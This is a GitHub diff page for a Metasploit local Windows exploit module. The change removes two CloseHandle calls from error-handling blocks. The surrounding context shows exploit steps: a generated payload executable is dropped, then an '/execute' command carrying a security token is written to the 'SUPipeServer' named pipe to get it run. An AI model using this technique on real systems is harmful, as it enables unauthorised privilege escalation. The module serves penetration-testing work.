File tree Expand file tree Collapse file tree 1 file changed +0
-2
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +0
-2
lines changed Original file line number Diff line number Diff line change @@ -168,7 +168,6 @@ def exploit
168
168
write_file ( exe_name , generate_payload_exe )
169
169
register_file_for_cleanup ( "#{ write_path } \\ #{ exe_name } " )
170
170
rescue Rex ::Post ::Meterpreter ::RequestError
171
- session . railgun . kernel32 . CloseHandle ( handle )
172
171
fail_with ( Failure ::Unknown , "Failed to drop payload into #{ temp_dir } " )
173
172
end
174
173
@@ -177,7 +176,6 @@ def exploit
177
176
begin
178
177
write_res = write_named_pipe ( "\\ \\ .\\ pipe\\ SUPipeServer" , "/execute #{ exe_name } /arguments /directory #{ write_path } /type COMMAND /securitycode #{ token } " )
179
178
rescue Rex ::Post ::Meterpreter ::RequestError
180
- session . railgun . kernel32 . CloseHandle ( handle )
181
179
fail_with ( Failure ::Unknown , 'Failed to write to pipe' )
182
180
end
183
181
You can’t perform that action at this time.
0 commit comments